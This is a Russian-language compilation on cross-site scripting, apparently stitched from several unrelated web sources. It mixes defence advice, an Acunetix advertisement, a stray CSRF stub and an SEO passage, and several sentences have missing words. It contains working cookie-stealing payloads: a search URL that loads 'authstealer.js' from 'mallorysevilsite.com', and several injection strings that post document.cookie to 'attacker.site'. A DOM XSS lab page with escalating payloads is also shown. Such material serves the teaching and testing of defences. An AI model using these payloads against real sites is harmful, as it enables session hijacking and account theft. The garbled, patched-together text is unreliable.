Xss

Средства защиты

Защита на стороне сервера

• Кодирование управляющих HTML-символов, JavaScript, CSS и URL перед отображением в браузере. Для фильтрации входных параметров можно использовать следующие функции: (для кодирования URL), (для фильтрации HTML).
• Кодирование входных данных. Например с помощью библиотек OWASP Encoding Project, HTML Purifier, htmLawed, Anti-XSS Class.
• Регулярный ручной и автоматизированный анализ безопасности кода и тестирование на проникновение. С использованием таких инструментов, как Nessus, Nikto Web Scanner и OWASP Zed Attack Proxy.
• Указание кодировки на каждой web-странице (например, ISO-8859-1 или UTF-8) до каких-либо пользовательских полей.
• Обеспечение безопасности cookies, которая может быть реализована путём ограничения домена и пути для принимаемых cookies, установки параметра HttpOnly, использованием SSL.
• Использование заголовка Content Security Policy, позволяющего задавать список, в который заносятся желательные источники, с которых можно подгружать различные данные, например, JS, CSS, изображения и пр.

Защита на стороне клиента

• Регулярное обновление браузера до новой версии.
• Установка расширений для браузера, которые будут проверять поля форм, URL, JavaScript и POST-запросы, и, если встречаются скрипты, применять XSS-фильтры для предотвращения их запуска. Примеры подобных расширений: NoScript для FireFox, NotScripts для Chrome и Opera.

Is Your Website or Web Application Vulnerable to Cross-site Scripting

Cross-site Scripting vulnerabilities are one of the most common web application vulnerabilities. The OWASP organization (Open Web Application Security Project) lists XSS vulnerabilities in their OWASP Top 10 2017 document as the second most prevalent issue.

Fortunately, it’s easy to test if your website or web application is vulnerable to XSS and other vulnerabilities by running an automated web scan using the Acunetix vulnerability scanner, which includes a specialized XSS scanner module. Take a demo and find out more about running XSS scans against your website or web application. An example of how you can detect blind XSS vulnerabilities with Acunetix is available in the following article: How to Detect Blind XSS Vulnerabilities.

Примеры эксплуатирования XSS

Злоумышленники, намеревающиеся использовать уязвимости межсайтового скриптинга, должны подходить к каждому классу уязвимостей по-разному. Здесь описаны векторы атак для каждого класса.

При уязвимостях XSS в атаках может использоваться BeEF, который расширяет атаку с веб-сайта на локальное окружение пользователей.

Пример атаки с непостоянным XSS

1. Алиса часто посещает определённый веб-сайт, который хостит Боб. Веб-сайт Боба позволяет Алисе осуществлять вход с именем пользователя/паролем и сохранять чувствительные данные, такие как платёжная информация. Когда пользователь осуществляет вход, браузер сохраняет куки авторизации, которые выглядят как бессмысленные символы, т.е. оба компьютера (клиент и сервер) помнят, что она вошла.

2. Мэлори отмечает, что веб-сайт Боба содержит непостоянную XSS уязвимость:

2.1 При посещении страницы поиска, она вводим строку для поиска и кликает на кнопку отправить, если результаты не найдены, страница отображает введённую строку поиска, за которой следуют слова «не найдено» и url имеет вид http://bobssite.org?q=её поисковый запрос

2.2 С нормальным поисковым запросом вроде слова «собачки» страница просто отображает «собачки не найдено» и url http://bobssite.org?q=собачки, что является вполне нормальным поведением.

2.3 Тем не менее, когда в поиск отправляется аномальный поисковый запрос вроде <script type=’text/javascript’>alert(‘xss’);</script>:

2.3.1 Появляется сообщение с предупреждением (которое говорит «xss»).

2.3.2 Страница отображает <script type=’text/javascript’>alert(‘xss’);</script> не найдено наряду с сообщением об ошибке с текстом ‘xss’.

2.3.3 url, пригодный для эксплуатации http://bobssite.org?q=<script%20type=’text/javascript’>alert(‘xss’);</script>

3. Мэлори конструирует URL для эксплуатации уязвимости:

3.1 Она делает URL http://bobssite.org?q=puppies<script%20src=»http://mallorysevilsite.com/authstealer.js»></script>. Она может выбрать конвертировать ASCII символы в шестнадцатеричный формат, такой как http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E для того, чтобы люди не смогли немедленно расшифровать вредоносный URL.

5. Программа authstealer.js запускается в браузере Алисы так, будто бы её источником является веб-сайт Боба. Она захватывает копию куки авторизации Алисы и отправляет на сервер Мэлори, где Мэлори их извлекает.

6. Мэлори теперь размещает куки авторизации Алисы в своём браузере как будто бы это её собственные. Затем она переходит на сайт Боба и оказывается залогиненной как Алиса.

7. Теперь, когда Мэлори внутри, она идёт в платёжный раздел веб-сайта, смотрит и крадёт копию номера кредитной карты Алисы. Затем она идёт и меняет пароль, т.е. теперь Алиса даже не может больше зайти.

8. Она решает сделать следующий шаг и отправляет сконструированную подобным образом ссылку самому Бобу, и таким образом получает административные привилегии сайта Боба.

Атака с постоянным XSS

1. Мэлори имеет аккаунт на сайте Боба.
2. Мэлори замечает, что веб-сайт боба содержит постоянную XSS уязвимость. Если вы переходите в новый раздел, размещаете комментарий, то он отображает что бы в него не напечатали. Но если текст комментария содержит HTML тэги, эти тэги будут отображены как есть, и любые тэги скриптов запускаются.
3. Мэлори читает статью в разделе Новости и пишет комментарий в разделе Комментарии. В комментарий она вставляет текст:
4. В этой истории мне так понравились собачки. Они такие славные! <script src=»http://mallorysevilsite.com/authstealer.js»>
5. Когда Алиса (или ещё кто-либо) загружают страницу с этим комментарием, тэг скрипта Мэлори запускается и ворует куки авторизации Алисы, отправляет на секретный сервер Мэлори для сбора.
6. Мэлори теперь может перехватить сессию Алисы и выдать себя за Алису.

Frequently asked questions

Шпаргалка по js-методам для работы с dom

How does Cross-site Scripting work?

In a Cross-site Scripting attack (XSS), the attacker uses your vulnerable web page to deliver malicious JavaScript to your user. The user’s browser executes this malicious JavaScript on the user’s computer. Note that about one in three websites is vulnerable to Cross-site scripting.

Why is Cross-site Scripting dangerous?

Even though a Cross-site Scripting attack happens in the user’s browser, it may affect your website or web application. For example, an attacker may use it to steal user credentials and log in to your website as that user. If that user is an administrator, the attacker gains control over your website.

How to discover Cross-site Scripting?

To discover Cross-site Scripting, you may either perform manual penetration testing or first use a vulnerability scanner. If you use a vulnerability scanner, it will save you a lot of time and money because your penetration testers can then focus on more challenging vulnerabilities.

How to protect against Cross-site Scripting?

To protect against Cross-site Scripting, you must scan your website or web application regularly or at least after every chance in the code. Then, your developers must correct the code to eliminate the vulnerability. Contrary to popular opinions, web application firewalls do not protect against Cross-site Scripting, they just make the attack more difficult – the vulnerability is still there.

CSRF-атака

CSRF (подделка межсайтовых запросов), китайское название: подделка межсайтовых запросов, также известная как: атака в один клик / скачивание сеанса, сокращенно: CSRF / XSRF.

Вы можете понять CSRF-атаку следующим образом: злоумышленник украл вашу личность и отправил вредоносные запросы от вашего имени. CSRF может выполнять следующие действия: отправка электронных писем от вашего имени, отправка сообщений, кража вашей учетной записи, даже покупка товаров, переводы виртуальной валюты … Вызываемые проблемы включают: утечку личной информации и безопасность собственности.

Статус уязвимости CSRF

Метод атаки CSRF был предложен иностранными службами безопасности в 2000 году, но в Китае на него не обращали внимания до 2006 года. В 2008 году уязвимости CSRF были обнаружены во многих крупных сообществах и интерактивных веб-сайтах в стране и за рубежом, например:NYTimes.com(New York Times), Metafilter (большой сайт в БЛОГе), YouTube и Baidu HI … И теперь многие сайты в Интернете все еще беззащитны, настолько, что индустрия безопасности называет CSRF «спящим гигантом».

принцип

Противодействие XSS-атакам

Атаки на основе межсайтового скриптинга потенциально опасны для большинства веб-серверов и браузеров. Взломщики постоянно изобретают все новые типы атак, но следующие мероприятия могут помочь вам в защитите системы от этих атак.

Мероприятия для клиентов или пользователей

Современные версии браузера Mozilla Firefox достаточно безопасны. Например, Firefox автоматически кодирует символы и (в последовательности и соответственно) в параметре в случае, когда URL не введен напрямую в адресную строку. Таким образом, данный браузер не уязвим к атакам, проводимым с использованием модели DOM. Для повышения безопасности работы браузера следует также установить дополнения (расширения), такие, как NoScript, FlashBlock и панель инструментов Netcraft.

Вы также можете попробовать браузер Google Chrome, имеющий встроенную защиту от XSS-атак.

Если при создания ссылки использовался сервис по сокращению длины URL, такой, как «tiny», «tinyurl», «bit.ly», «is.gd», «shorturl», «snipurl», и.т.д., будьте осторожны. Вы можете даже установить второй браузер для посещения «ненадежных» сайтов; не входите на доверенные или важные сайты с помощью этого браузера, а используйте его только для переходов по подозрительным ссылкам

Если с помощью URL действительно будет проведена атака, и даже в случае ее успешного завершения, у взломщика не будет практически никакой важной информации из кук.

Для разработчиков

Лучшим способом проверки вашего веб-сайта на уязвимости является запуск тестирования безопасности локальной копии используемого веб-приложения. Лучшим свободным проектом для этой цели является .

Фильтрация вывода сценариев также позволяет нейтрализовать XSS-уязвимости, предотвращая передачу специально сформированных последовательностей пользователю. При фильтрации динамически формируемых страниц выбирайте множество символов, использование которых безопасно, вместо того, чтобы пытаться исключить множество символов, использование которых может быть небезопасным. Первый вариант предпочтительнее, так как обычно не известно, существуют ли другие комбинации символов или последовательностей символов, позволяющие эксплуатировать другие уязвимости.

Проверяйте все заголовки, куки, строки запросов, формы, скрытые поля и другие возможные параметры на наличие таких тэгов, как , , , и . Также не выводите никаких введенных значений без фильтрации.

Не храните пароли или другие данные в куках без шифрования или с применением нестойкого алгоритма шифрования. Простое хеширование пароля с использованием алгоритма MD5 не является безопасным, поскольку длина хэша составляет всего 16 байт и его расшифровка возможна при помощи метода перебора вариантов.

Если это возможно и осуществимо, данные аутентификации в куках должны быть ассоциированы с IP-адресом клиента. Обнаружение идентичных данных кук, отправленных с другого IP-адреса, должно восприниматься как попытка проведения атаки.

Если это возможно, следует устранить возможность использования единой системы аутентификации и активировать систему повторных проверок паролей для предотвращения атак перехвата сессии. Атака против сайта с единой системой аутентификации имеет большие шансы остаться незамеченной для пользователя.

Использование бесплатных хостингов является основным этапом при реализации взломщиком схемы атаки. Обслуживающий персонал сайтов бесплатного хостинга должен быть более бдительным в отношении того, кто использует их сервисы, и должен блокировать подозрительные IP-адреса. Также в том случае, если на хостинге используются сценарии для сбора данных из кук, должен проводиться мониторинг для выявления подобных действий.

Куки, отправленные по протоколу HTTPS недоступны сценариям при помощи свойства , поэтому постарайтесь отправлять куки только по протоколу HTTPS. Также постарайтесь использовать для передачи форм метод POST вместо GET.

Фон

Безопасность в Интернете зависит от множества механизмов, включая базовую концепцию доверия, известную как политика одного и того же происхождения. По сути, это означает, что если контенту с одного сайта (например, https://mybank.example1.com ) предоставлено разрешение на доступ к ресурсам (например, файлам cookie и т. Д.) В веб-браузере , то контент с любого URL-адреса с таким же (1) Схема URI, (2) имя хоста и (3) номер порта будут совместно использовать эти разрешения. Контенту из URL-адресов, где любой из этих трех атрибутов отличается, необходимо будет предоставлять разрешения отдельно.

Атаки с использованием межсайтовых сценариев используют известные уязвимости в веб-приложениях, их серверах или подключаемых модулях, на которых они полагаются. Используя один из них, злоумышленники встраивают вредоносный контент в контент, доставляемый со взломанного сайта. Когда результирующий комбинированный контент поступает в клиентский веб-браузер, он все доставляется из надежного источника и, таким образом, работает в соответствии с разрешениями, предоставленными этой системе. Находя способы внедрения вредоносных сценариев на веб-страницы, злоумышленник может получить повышенные права доступа к конфиденциальному содержимому страницы, к файлам cookie сеанса и к разнообразной другой информации, поддерживаемой браузером от имени пользователя. Атаки с использованием межсайтовых сценариев — это случай внедрения кода .

Инженеры по безопасности Microsoft ввели термин «межсайтовый скриптинг» в январе 2000 года. Выражение «межсайтовый скриптинг» первоначально относилось к процессу загрузки атакованного стороннего веб-приложения с несвязанного атакующего сайта способом. который выполняет фрагмент JavaScript, подготовленный злоумышленником в контексте безопасности целевого домена (используя отраженную или непостоянную уязвимость XSS). Это определение постепенно расширялось, чтобы охватывать другие режимы внедрения кода, включая постоянные и не-JavaScript векторы (включая ActiveX , Java , VBScript , Flash или даже HTML- скрипты), вызывая некоторую путаницу у новичков в области информационной безопасности .

Об уязвимостях XSS сообщалось и они использовались с 1990-х годов. Известные сайты, затронутые в прошлом, включают сайты социальных сетей ,
,
MySpace , YouTube и Orkut . С тех пор недостатки межсайтового скриптинга превзошли переполнение буфера и стали наиболее распространенной уязвимостью безопасности, о которой сообщается в открытых источниках. В 2007 году некоторые исследователи оценили, что до 68% веб-сайтов, вероятно, открыты для XSS-атак.

Особенности XSS основанных на DOM

Если сказать совсем просто, то злонамеренный код «обычных» непостоянных XSS мы можем увидеть, если откроем HTML код. Например, ссылка сформирована подобным образом:

http://example.com/search.php?q="/><script>alert(1)</script>

А при открытии исходного HTML кода мы видим что-то вроде такого:

<div class="m__search">          
	<form method="get" action="/search.php">              
	<input type="text" class="ui-input query" name="q" value=""/><script>alert(1)</script>" /> <button type="submit" class="ui-button">Найти</button>             
    </form>

А DOM XSS меняют DOM структуру, которая формируется в браузере на лету и увидеть злонамеренный код мы можем только при просмотре сформировавшейся DOM структуры. HTML при этом не меняется. Давайте возьмём для примера такой код:

<!DOCTYPE html>
<html>
    <head>
        <title>HackWare.ru:::DOM XSS</title>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
    </head>
    <body>
        <div id="default"> An error occurred...</div>

        <script>
            function OnLoad() {
                var foundFrag = get_fragment();
                return foundFrag;
            }

            function get_fragment() {
                var r4c = '(.*?)';
                var results = location.hash.match('.*input=token(' + r4c + ');');

                if (results) {
                    document.getElementById("default").innerHTML = "";
                    return (unescape(results));
                } else {
                    return null;
                }
            }

            display_session = OnLoad();
            document.write("Your session ID was: " + display_session + "<br><br>")
        </script>  

    </body>
</html>

Если мы перейдём по примерно такой ссылке

http://localhost/tests/XSS/dom_xss.html#input=tokenAlex;

То в браузере мы увидим:

Исходный код страницы:

Давайте сформируем адрес следующим образом:

http://localhost/tests/XSS/dom_xss.html#input=tokenAlex<script>alert(1)</script>;

Теперь страница выглядит так:

Но давайте заглянем в исходный код HTML:

Там совершенно ничего не изменилось. Про это я и говорил, нам нужно смотреть DOM структуру документа, чтобы выявить злонамеренный код:

Здесь приведён рабочий прототип XSS, для реальной атаки нам нужна более сложная полезная нагрузка, которая невозможна из-за того, что приложение останавливает чтение сразу после точки с запятой, и что-то вроде alert(1);alert(2) уже невозможно. Тем не менее, благодаря unescape() в возвращаемых данных мы можем использовать полезную нагрузку вроде такой:

http://localhost/tests/XSS/dom_xss.html#input=tokenAlex<script>alert(1)%3balert(2)</script>;

Где мы заменили символ ; на кодированный в URI эквивалент!

Теперь мы можем написать вредоносную полезную нагрузку JavaScript и составить ссылку для отправки жертве, как это делается для стандартного непостоянного межсайтового скриптинга.

Что значит для продвижения

Script весьма полезный инструмент по части повышения функционала сайта. Однако составлять и применять их необходимо грамотно, чтобы не привести ресурс в ненадлежащее состояние.

Каждая заданная последовательность создает дополнительную нагрузку на веб-сервер или интернет-браузер. Большая численность веб-алгоритмов способна навредить функционированию площадки. Страница будет постоянно тормозить и зависать, что вполне естественно негативно отразится на восприятии пользователей, а ведь именно от них во многом зависит уровень ранжирования ресурса поисковыми системами. Поэтому SEO-специалисты советуют избавиться от всех лишних скриптовых программ и оставить только самые полезные. Анимационные и динамические элементы лучше свести к минимуму или не задействовать совсем. Конечно, поющие или танцующие котики (как вариант) — это забавно, но отнюдь не эффективно в плане производительности.

Еще одной немаловажной рекомендацией от профессиональных сеошников является необходимость проставлять заданную последовательность в самом конце базовой кодировки. Так она будет загружаться последней, дав возможность пользователям сначала увидеть более важную информацию

Такие файлы зачастую весьма тяжеловесны, а качественное интернет-соединение имеется не у всех. Распространенная ошибка ведет к потере посетителей. Если юзер продолжительное время пытается открыть страницу, но из-за объемов она долго прогружается, он с большой вероятностью оставит попытки увидеть содержимое сайта. Подобный исход — однозначный провал по части продвижения.

Подводя итог, отметим важную деталь: скрипт (script) это то, что не оказывает непосредственного влияния на SEO-продвижение веб-ресурса, но при этом в состоянии оказать воздействие на значимые для SEO факторы.

Cross-site Scripting Attack Vectors

The following is a list of common XSS attack vectors that an attacker could use to compromise the security of a website or web application through an XSS attack. A more extensive list of XSS payload examples is maintained by the OWASP organization: XSS Filter Evasion Cheat Sheet.

<script> tag

The tag is the most straightforward XSS payload. A tag can reference external JavaScript code or you can embed the code within the tag itself.

<body> tag

An XSS payload can be delivered inside the by using event attributes (see above) or other more obscure attributes such as the attribute.

<img> tag

<iframe> tag

The tag lets you embed another HTML page in the current page. An IFrame may contain JavaScript but JavaScript in the IFrame does not have access to the DOM of the parent page due to the Content Security Policy (CSP) of the browser. However, IFrames are still very effective for pulling off phishing attacks.

<input> tag

<link> tag

<table> tag

<div> tag

<object> tag

5) Контекст JavaScript

Внутри раздела страницы JavaScript кода.

<script>

некоторый_javascript

пользовательский_ввод

некоторый_javascript

</script>

Это относится к разделу, заключённому в тэги SCRIPT, в значения атрибутов обработчиков событий и в URL, обрабатывающихся с JavaScript.

Внутри JavaScript пользовательский ввод может появляться в следующих контекстах:

• a) Контекст кода
• b) Контекст строки внутри одинарных кавычек
• c) Контекст строки внутри двойных кавычек
• d) Контекст комментария в одну строку
• e) Контекст комментария в несколько строк
• f) Строки, которые отправляются исполняющим поглотителям

Если пользовательский ввод между тэгами SCRIPT, то не имеет значения, в каком из контекстов он появился, вы можете переключиться на контекст HTML просто включив закрывающий тэг SCRIPT, а затем вставить любой HTML.

Например: 

</script><img src=x onerror=alert(1)>

Если вы не собираетесь переключаться на HTML контекст, тогда вам нужно специально обработать ввод в зависимости от специфичного JavaScript контекста, в котором он появляется.

a) Контекст кода

function dev_func(input) {some_js_code}

dev_func(пользовательский_ввод);

some_variable=123;

Это исполняемый контекст, пользовательский ввод напрямую появляется в выражении и вы можете напрямую ввести элементы JavaScript и они будут выполнены.

Например: 

$.post(«http://attacker.site», {‘cookie’:document.cookie}, function(){})//

b) Контекст строки внутри одинарных кавычек

var some_variable=’пользовательский_ввод’;

Это не исполняемый контекст и пользовательский ввод должен включать одинарную кавычку в начале для выхода из контекста строки и перехода в контекст кода.

Например:

‘; $.post(«http://attacker.site», {‘cookie’:document.cookie}, function(){})//

c) Контекст строки внутри двойных кавычек

var some_variable=»пользовательский_ввод»;

Это не исполняемый контекст и пользовательский ввод должен включать двойную кавычку в начале для выхода из контекста строки и перехода в контекст кода.

Например: 

«; $.post(«http://attacker.site», {‘cookie’:document.cookie}, function(){})//

d) Контекст команды в одну строку

some_js_func();//пользовательский_ввод

Это не исполняемый контекст и пользовательский ввод должен включать символ новой строки для выхода из контекста комментария строки и переключения в контекст кода.

Например: 

\r\n$.post(«http://attacker.site», {‘cookie’:document.cookie}, function(){})//

e) Контекст многострочного комментария

some_js_func();

/* 

пользовательский_ввод

*/

some_js_code

Это не исполняемый контекст и пользовательский ввод должен включать */ для выхода из контекста многострочного комментария и переключения в контекст кода.

Например: 

*/$.post(«http://attacker.site», {‘cookie’:document.cookie}, function(){})//

f) Строка, предназначенная для исполнителей кода

Эти контекст строк заключённых в кавычки или в двойные кавычки, но важно то, что эти строки передаются функциями или назначаются свойствам, которые будут обработаны как исполняемый код.

Вот несколько примеров:

• eval(«пользовательский_ввод»);
• location = «пользовательский_ввод»;
• setTimeout(1000, «пользовательский_ввод»);
• x.innerHTML = «пользовательский_ввод»;

Это должно обрабатываться похожим образом с контекстом кода.

Классификация XSS

Не существует какой-то четкой классификации для межсайтового скриптинга. Но эксперты выделяют 3 ключевые вида XSS-атак. Рассмотрим их.

1. Постоянные (хранимые)

Один из наиболее опасных типов уязвимости, ведь такая брешь дает злоумышленнику доступ к серверу, после чего он сможет управлять с него своим вирусным кодом (например, модифицировать его). Каждый раз в процессе обращения к сайту выполняется код, который был загружен раньше. Он работает в фоновом режиме, автоматически. 

Обычно такие бреши можно обнаружить на страницах сайтов с формами для подтверждения каких-либо операций, блогами с функциями комментирования, порталами и т.п. Причем, вредоносные скрипты в таких случаях можно будет максимально легко и просто встроить не только в текст на странице, но и в графику и прочий контент.

2. Непостоянные (отраженные)

В таком случае вредоносный скрипт играет роль запроса жертвы к сайту с вирусом. Все функционирует по такой схеме:

1. Злоумышленником формируется УРЛ, содержащий вредоносный код.
2. Этот УРЛ отправляется жертве, которая кликает по нему и переходит на сайт.
3. Сайт автоматически получает информацию из вредоносного УРЛа и подставляет жертве ответ в виде модифицированного УРЛа.
4. В результате браузер на компьютере жертвы выполняет скрипт злоумышленниками и он получает все куки пользователя. 

3. DOM

Это некий совмещенный вариант, подразумевающий использование и непостоянных, и постоянных XSS-атак. Работает такая методика следующим образом:

How Cross-site Scripting Works

There are two stages to a typical XSS attack:

1. To run malicious JavaScript code in a victim’s browser, an attacker must first find a way to inject malicious code (payload) into a web page that the victim visits.
2. After that, the victim must visit the web page with the malicious code. If the attack is directed at particular victims, the attacker can use social engineering and/or phishing to send a malicious URL to the victim.

For step one to be possible, the vulnerable website needs to directly include user input in its pages. An attacker can then insert a malicious string that will be used within the web page and treated as source code by the victim’s browser. There are also variants of XSS attacks where the attacker lures the user to visit a URL using social engineering and the payload is part of the link that the user clicks.

The following is a snippet of server-side pseudocode that is used to display the most recent comment on a web page:

The above script simply takes the latest comment from a database and includes it in an HTML page. It assumes that the comment printed out consists of only text and contains no HTML tags or other code. It is vulnerable to XSS, because an attacker could submit a comment that contains a malicious payload, for example:

The web server provides the following HTML code to users that visit this web page:

When the page loads in the victim’s browser, the attacker’s malicious script executes. Most often, the victim does not realize it and is unable to prevent such an attack.

Input & Output так называемый Источник & Приемник

Логика, лежащая в основе DOM XSS, заключается в том, что ввод от пользователя (источника) направляется в точку выполнения (приемник). В предыдущем примере нашим источником был document.baseURI, а приемником был document.write.

Однако вам нужно понять, что DOM XSS появится, когда источник, которым может управлять пользователь, будет использоваться в опасном приемнике.

Поэтому, когда вы видите это, вам нужно либо внести необходимые изменения в код, чтобы избежать уязвимости для DOM XSS, либо добавить кодировку соответствующим образом.

Ниже приведен список источников и приемников, которые обычно предназначены для атак DOM XSS

Обратите внимание, что это не полный список, но вы можете определить шаблон, все, что может контролироваться злоумышленником в источнике, и все, что может привести к выполнению сценария в приемнике

Популярные приемники

• HTML модифицированные приемники
  • document.write
  • (element).innerHTML
• HTML модифицированные для изменения поведения
• Приемники связанные с выполнением кода
  • eval
  • setTimout / setInterval
  • execScript